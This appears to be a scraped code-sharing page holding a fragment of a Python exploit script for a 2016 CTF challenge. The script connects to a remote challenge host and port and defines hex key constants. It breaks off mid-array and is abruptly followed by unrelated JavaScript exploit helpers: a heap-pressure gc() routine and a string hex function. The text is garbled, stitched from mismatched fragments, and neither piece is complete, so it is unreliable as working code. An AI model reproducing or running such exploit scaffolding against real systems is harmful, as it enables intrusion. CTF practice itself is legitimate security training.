Skip to content

Instantly share code, notes, and snippets.

#Pwn 500 WhitehatGrangrix 2016
from Pwn import *
# p = Pwn(elf='./note')
p = Pwn(elf='./note',host='118.70.186.203',port=23501)
key_1 = [
0xd49f6a35,0xa8733e09,0x7c4712dd,0x501be6b1,
0x24efba85,0xf8c38e59,0xcc97622d,0xa06b3601,
0x743f0ad5,0x4813dea9,0x1ce7b27d,0xf0bb8651,
console.show()
function gc() {
for(var i = 0; i < 3; i++) {
var z = new ArrayBuffer(1024*1024*100)
}
}
String.prototype.hex = function() {
var r = ''